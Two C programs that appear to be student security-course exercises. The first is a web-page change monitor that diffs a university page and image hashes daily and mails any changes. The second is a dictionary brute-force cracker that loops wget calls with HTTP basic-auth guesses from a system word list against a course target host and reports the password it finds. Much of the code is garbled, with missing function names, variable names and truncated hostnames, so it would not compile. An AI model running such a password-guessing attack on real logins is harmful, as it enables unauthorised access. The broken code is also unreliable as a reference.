#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}

#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9

int ()
{   int startTime, stopTime, final;
    int i,j,k;
    FILE* fp;
    int pass,len;
    int count = 0;
    char [50];
    char url1[100];
    char url2[100];

    startTime = time();
    fp = fopen("/usr/share/lib/dict/words","r");
    while (fp !='\0')
     {
       fgets( ,50,fp);

       len = strlen();
       [strlen()-1] ='\0';

       if(len <= 4)
       {
         count++;
	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcat(url1,);
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,url2);


	     pass = system(url1);
	    if (pass == 0)
	    {
	      stopTime = time();
          final = stopTime-startTime;
	      printf("\n SUCCESS\n");
	      printf("The password for the user  : %s\n ",);
	      printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	       printf("Number of attempts : %d\n",count);
          exit(1);
	 }
        }
       }

 }
